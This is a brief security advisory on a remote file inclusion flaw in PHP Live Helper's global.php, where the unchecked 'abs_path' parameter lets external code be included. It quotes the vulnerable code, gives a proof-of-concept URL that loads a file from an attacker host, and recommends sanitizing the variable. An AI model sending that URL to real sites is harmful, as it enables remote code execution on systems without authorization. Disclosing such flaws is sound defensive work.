PHP Live Helper File Inclusion
------------------------------------------------------------------------


SUMMARY

<http://www.turnkeywebtools.com/products.php?p=phplivehelper> PHP Live
Helper provides a "reliable real-time customer support and visitor
communication directly on your site". Input passed to the "abs_path"
parameter in global.php is not properly verified before being used. This
can be exploited to execute arbitrary PHP code by including files from
local or external resources.

DETAILS

Vulnerable code:

require_once $abs_path."/libsecure.php";
include_once $abs_path."/include/class.browser.php";
..

Proof of Concept:
The following URL will include the file found at attacker.com into the
execution path of the PHP environment:
http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt?

Solution:
Sanitize variable $abs_path on global.php.
